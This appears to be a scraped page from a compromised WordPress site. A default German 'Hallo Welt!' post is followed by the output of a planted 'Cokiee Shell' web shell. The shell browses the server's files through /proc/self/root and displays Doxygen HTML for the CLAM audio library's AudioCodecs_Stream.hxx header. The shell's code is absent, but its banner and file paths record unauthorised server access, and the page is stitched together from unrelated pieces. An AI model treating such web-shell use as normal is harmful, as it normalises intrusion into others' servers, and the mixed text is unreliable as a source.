Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
| Current Path : /proc/self/root/usr/share/doc/libclam-doc/html/ |
| Current File : //proc/self/root/usr/share/doc/libclam-doc/html/AudioCodecs__Stream_8hxx_source.html |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<title>CLAM-Development: AudioCodecs_Stream.hxx Source File</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td style="padding-left: 0.5em;">
<div id="projectname">CLAM-Development
 <span id="projectnumber">1.4.0</span>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.1 -->
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="pages.html"><span>Related Pages</span></a></li>
<li><a href="modules.html"><span>Modules</span></a></li>
<li><a href="namespaces.html"><span>Namespaces</span></a></li>
<li><a href="annotated.html"><span>Classes</span></a></li>
<li class="current"><a href="files.html"><span>Files</span></a></li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="files.html"><span>File List</span></a></li>
<li><a href="globals.html"><span>File Members</span></a></li>
</ul>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><a class="el" href="dir_68267d1309a1af8e8297ef4c3efbcdba.html">src</a></li><li class="navelem"><a class="el" href="dir_a5d6bdf71c44cd1c5b4b1c0b09df7fcb.html">audiofileio</a></li><li class="navelem"><a class="el" href="dir_dddbcaca927ef7d94ad9f59cd5fba68c.html">codecs</a></li> </ul>
</div>
</div><!-- top -->
<div class="header">
<div class="headertitle">
<div class="title">AudioCodecs_Stream.hxx</div> </div>
</div><!--header-->
<div class="contents">
<a href="AudioCodecs__Stream_8hxx.html">Go to the documentation of this file.</a><div class="fragment"><div class="line"><a name="l00001"></a><span class="lineno"> 1</span> <span class="comment">/*</span></div>
<div class="line"><a name="l00002"></a><span class="lineno"> 2</span> <span class="comment"> * Copyright (c) 2004 MUSIC TECHNOLOGY GROUP (MTG)</span></div>
<div class="line"><a name="l00003"></a><span class="lineno"> 3</span> <span class="comment"> * UNIVERSITAT POMPEU FABRA</span></div>
<div class="line"><a name="l00004"></a><span class="lineno"> 4</span> <span class="comment"> *</span></div>
<div class="line"><a name="l00005"></a><span class="lineno"> 5</span> <span class="comment"> *</span></div>
<div class="line"><a name="l00006"></a><span class="lineno"> 6</span> <span class="comment"> * This program is free software; you can redistribute it and/or modify</span></div>
<div class="line"><a name="l00007"></a><span class="lineno"> 7</span> <span class="comment"> * it under the terms of the GNU General Public License as published by</span></div>
<div class="line"><a name="l00008"></a><span class="lineno"> 8</span> <span class="comment"> * the Free Software Foundation; either version 2 of the License, or</span></div>
<div class="line"><a name="l00009"></a><span class="lineno"> 9</span> <span class="comment"> * (at your option) any later version.</span></div>
<div class="line"><a name="l00010"></a><span class="lineno"> 10</span> <span class="comment"> *</span></div>
<div class="line"><a name="l00011"></a><span class="lineno"> 11</span> <span class="comment"> * This program is distributed in the hope that it will be useful,</span></div>
<div class="line"><a name="l00012"></a><span class="lineno"> 12</span> <span class="comment"> * but WITHOUT ANY WARRANTY; without even the implied warranty of</span></div>
<div class="line"><a name="l00013"></a><span class="lineno"> 13</span> <span class="comment"> * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the</span></div>
<div class="line"><a name="l00014"></a><span class="lineno"> 14</span> <span class="comment"> * GNU General Public License for more details.</span></div>
<div class="line"><a name="l00015"></a><span class="lineno"> 15</span> <span class="comment"> *</span></div>
<div class="line"><a name="l00016"></a><span class="lineno"> 16</span> <span class="comment"> * You should have received a copy of the GNU General Public License</span></div>
<div class="line"><a name="l00017"></a><span class="lineno"> 17</span> <span class="comment"> * along with this program; if not, write to the Free Software</span></div>
<div class="line"><a name="l00018"></a><span class="lineno"> 18</span> <span class="comment"> * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA</span></div>
<div class="line"><a name="l00019"></a><span class="lineno"> 19</span> <span class="comment"> *</span></div>
<div class="line"><a name="l00020"></a><span class="lineno"> 20</span> <span class="comment"> */</span></div>
<div class="line"><a name="l00021"></a><span class="lineno"> 21</span> </div>
<div class="line"><a name="l00022"></a><span class="lineno"> 22</span> <span class="preprocessor">#ifndef __AUDIOCODECS_STREAM__</span></div>
<div class="line"><a name="l00023"></a><span class="lineno"> 23</span> <span class="preprocessor"></span><span class="preprocessor">#define __AUDIOCODECS_STREAM__</span></div>
<div class="line"><a name="l00024"></a><span class="lineno"> 24</span> <span class="preprocessor"></span></div>
<div class="line"><a name="l00025"></a><span class="lineno"> 25</span> <span class="preprocessor">#include "<a class="code" href="DataTypes_8hxx.html">DataTypes.hxx</a>"</span></div>
<div class="line"><a name="l00026"></a><span class="lineno"> 26</span> <span class="preprocessor">#include "<a class="code" href="DataTypes_8hxx.html">DataTypes.hxx</a>"</span></div>
<div class="line"><a name="l00027"></a><span class="lineno"> 27</span> <span class="preprocessor">#include <vector></span></div>
<div class="line"><a name="l00028"></a><span class="lineno"> 28</span> </div>
<div class="line"><a name="l00029"></a><span class="lineno"> 29</span> <span class="keyword">namespace </span>CLAM</div>
<div class="line"><a name="l00030"></a><span class="lineno"> 30</span> {</div>
<div class="line"><a name="l00031"></a><span class="lineno"> 31</span> </div>
<div class="line"><a name="l00032"></a><span class="lineno"> 32</span>  <span class="keyword">class </span>AudioFile;</div>
<div class="line"><a name="l00033"></a><span class="lineno"> 33</span> </div>
<div class="line"><a name="l00034"></a><span class="lineno"> 34</span> <span class="keyword">namespace </span>AudioCodecs</div>
<div class="line"><a name="l00035"></a><span class="lineno"> 35</span> {</div>
<div class="line"><a name="l00043"></a><span class="lineno"><a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html"> 43</a></span>  <span class="keyword">class </span><a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html" title="Streams provide I/O to and from an audio file of a given format.">Stream</a></div>
<div class="line"><a name="l00044"></a><span class="lineno"> 44</span>  {</div>
<div class="line"><a name="l00045"></a><span class="lineno"> 45</span>  <span class="keyword">public</span>:</div>
<div class="line"><a name="l00046"></a><span class="lineno"> 46</span>  <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a8bdd93fb2a486c1c47ce4ebbd707e7af">Stream</a>();</div>
<div class="line"><a name="l00047"></a><span class="lineno"> 47</span>  <span class="keyword">virtual</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a4e6e854772229349d29c5307e3255e92">~Stream</a>();</div>
<div class="line"><a name="l00049"></a><span class="lineno"> 49</span>  <span class="keyword">virtual</span> <span class="keywordtype">void</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a7c84d1df6f68525912b13260ee28d6d7" title="Open the stream in read mode.">PrepareReading</a>() = 0;</div>
<div class="line"><a name="l00051"></a><span class="lineno"> 51</span>  <span class="keyword">virtual</span> <span class="keywordtype">void</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a8cf71a082b585548c13f7836500fff06" title="Open the stream in write mode.">PrepareWriting</a>() = 0;</div>
<div class="line"><a name="l00053"></a><span class="lineno"> 53</span>  <span class="keyword">virtual</span> <span class="keywordtype">void</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a87259503574adfc0d14892e9242b013a" title="Close the stream.">Dispose</a>() = 0;</div>
<div class="line"><a name="l00056"></a><span class="lineno"><a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a3e9e647eba36b00549843ec371ac3b04"> 56</a></span>  <span class="keyword">virtual</span> <span class="keywordtype">void</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a3e9e647eba36b00549843ec371ac3b04" title="Moves the current position to framePosition. If such functionality is not supported by the stream it ...">SeekTo</a>(<span class="keywordtype">unsigned</span> <span class="keywordtype">long</span> framePosition) {}</div>
<div class="line"><a name="l00058"></a><span class="lineno"><a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#ae6be440a32dc3b2d86e2c416942ebf37"> 58</a></span>  <span class="keyword">virtual</span> <span class="keywordtype">unsigned</span> <span class="keywordtype">long</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#ae6be440a32dc3b2d86e2c416942ebf37" title="Returns the current frame position.">GetFramePosition</a>()<span class="keyword"> const </span>{<span class="keywordflow">return</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a26d0baf336510345bf00b19f5894765a">mFramePosition</a>;}</div>
<div class="line"><a name="l00059"></a><span class="lineno"> 59</span>  <span class="keyword">protected</span>:</div>
<div class="line"><a name="l00061"></a><span class="lineno"> 61</span>  <span class="keyword">virtual</span> <span class="keywordtype">void</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#ae838a3a0747590f3ddefdf9bda888a71" title="Move data from the file to mInterleavedData.">DiskToMemoryTransfer</a>() = 0;</div>
<div class="line"><a name="l00063"></a><span class="lineno"> 63</span>  <span class="keyword">virtual</span> <span class="keywordtype">void</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#afe18cae95bcbf05b4e8bcc013fe3448b" title="Move data from mInterleavedData to the file.">MemoryToDiskTransfer</a>() = 0;</div>
<div class="line"><a name="l00064"></a><span class="lineno"> 64</span> </div>
<div class="line"><a name="l00065"></a><span class="lineno"> 65</span>  <span class="keyword">public</span>:</div>
<div class="line"><a name="l00067"></a><span class="lineno"> 67</span>  <span class="keywordtype">bool</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a22c81b9eff29a85a0942035661565214" title="Read a picked channel.">ReadData</a>( <span class="keywordtype">int</span> channel, <a class="code" href="namespaceCLAM.html#ab9c6321b061069797fcc173f61e8111a">TData</a>* buffer, <span class="keywordtype">unsigned</span> nFrames );</div>
<div class="line"><a name="l00069"></a><span class="lineno"> 69</span>  <span class="keywordtype">bool</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a22c81b9eff29a85a0942035661565214" title="Read a picked channel.">ReadData</a>( <a class="code" href="namespaceCLAM.html#ab9c6321b061069797fcc173f61e8111a">TData</a>** buffers, <span class="keywordtype">unsigned</span> nFrames );</div>
<div class="line"><a name="l00071"></a><span class="lineno"> 71</span>  <span class="keywordtype">bool</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a22c81b9eff29a85a0942035661565214" title="Read a picked channel.">ReadData</a>( <span class="keywordtype">int</span>* channels, <span class="keywordtype">int</span> nchannels,</div>
<div class="line"><a name="l00072"></a><span class="lineno"> 72</span>  <a class="code" href="namespaceCLAM.html#ab9c6321b061069797fcc173f61e8111a">TData</a>** buffers, <span class="keywordtype">unsigned</span> nFrames );</div>
<div class="line"><a name="l00073"></a><span class="lineno"> 73</span> </div>
<div class="line"><a name="l00075"></a><span class="lineno"> 75</span>  <span class="keywordtype">void</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#ae691810808c3378d0042bb9e2bb6b81c" title="Read a picked channel (Do it has sense?)">WriteData</a>( <span class="keywordtype">int</span> channel, <span class="keyword">const</span> <a class="code" href="namespaceCLAM.html#ab9c6321b061069797fcc173f61e8111a">TData</a>* buffer, <span class="keywordtype">unsigned</span> nFrames );</div>
<div class="line"><a name="l00077"></a><span class="lineno"> 77</span>  <span class="keywordtype">void</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#ae691810808c3378d0042bb9e2bb6b81c" title="Read a picked channel (Do it has sense?)">WriteData</a>( <a class="code" href="namespaceCLAM.html#ab9c6321b061069797fcc173f61e8111a">TData</a>** <span class="keyword">const</span> buffers, <span class="keywordtype">unsigned</span> nFrames );</div>
<div class="line"><a name="l00079"></a><span class="lineno"> 79</span>  <span class="keywordtype">void</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#ae691810808c3378d0042bb9e2bb6b81c" title="Read a picked channel (Do it has sense?)">WriteData</a>( <span class="keywordtype">int</span>* channels, <span class="keywordtype">int</span> nchannels,</div>
<div class="line"><a name="l00080"></a><span class="lineno"> 80</span>  <a class="code" href="namespaceCLAM.html#ab9c6321b061069797fcc173f61e8111a">TData</a>** <span class="keyword">const</span> buffers, <span class="keywordtype">unsigned</span> nFrames );</div>
<div class="line"><a name="l00081"></a><span class="lineno"> 81</span> </div>
<div class="line"><a name="l00082"></a><span class="lineno"> 82</span>  <span class="keyword">protected</span>:</div>
<div class="line"><a name="l00083"></a><span class="lineno"> 83</span>  <span class="keywordtype">void</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#aae99ce883b5c1ff06e30a41a89a04ee8">SetChannels</a>( <span class="keywordtype">unsigned</span> nChannels );</div>
<div class="line"><a name="l00084"></a><span class="lineno"> 84</span> </div>
<div class="line"><a name="l00085"></a><span class="lineno"> 85</span>  <span class="keyword">protected</span>:</div>
<div class="line"><a name="l00086"></a><span class="lineno"><a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a8c2bcfb7c7885eba044194f14bbd9da8"> 86</a></span>  <span class="keywordtype">unsigned</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a8c2bcfb7c7885eba044194f14bbd9da8">mChannels</a>;</div>
<div class="line"><a name="l00087"></a><span class="lineno"><a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a2e4d3d7ae3d3a5c6f9e8da2bf71a6aef"> 87</a></span>  std::vector<TData> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a2e4d3d7ae3d3a5c6f9e8da2bf71a6aef">mInterleavedData</a>;</div>
<div class="line"><a name="l00088"></a><span class="lineno"><a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a3a4170527573f5241a40856a85460693"> 88</a></span>  <span class="keywordtype">bool</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a3a4170527573f5241a40856a85460693">mEOFReached</a>;</div>
<div class="line"><a name="l00089"></a><span class="lineno"><a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#ac8692702b2e5d256288194d2927b726d"> 89</a></span>  <span class="keywordtype">unsigned</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#ac8692702b2e5d256288194d2927b726d">mFramesLastRead</a>;</div>
<div class="line"><a name="l00090"></a><span class="lineno"><a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a26d0baf336510345bf00b19f5894765a"> 90</a></span>  <span class="keywordtype">unsigned</span> <span class="keywordtype">long</span> <a class="code" href="classCLAM_1_1AudioCodecs_1_1Stream.html#a26d0baf336510345bf00b19f5894765a">mFramePosition</a>;</div>
<div class="line"><a name="l00091"></a><span class="lineno"> 91</span> </div>
<div class="line"><a name="l00092"></a><span class="lineno"> 92</span>  <span class="keyword">private</span>:</div>
<div class="line"><a name="l00093"></a><span class="lineno"> 93</span>  <span class="keywordtype">void</span> AdjustInterleavedBuffer( <span class="keywordtype">unsigned</span> nFrames );</div>
<div class="line"><a name="l00094"></a><span class="lineno"> 94</span>  };</div>
<div class="line"><a name="l00095"></a><span class="lineno"> 95</span> }</div>
<div class="line"><a name="l00096"></a><span class="lineno"> 96</span> </div>
<div class="line"><a name="l00097"></a><span class="lineno"> 97</span> }</div>
<div class="line"><a name="l00098"></a><span class="lineno"> 98</span> </div>
<div class="line"><a name="l00099"></a><span class="lineno"> 99</span> <span class="preprocessor">#endif // AudioCodecs_Stream.hxx</span></div>
<div class="line"><a name="l00100"></a><span class="lineno"> 100</span> <span class="preprocessor"></span></div>
</div><!-- fragment --></div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated by  <a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.1
</small></address>
</body>
</html>
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare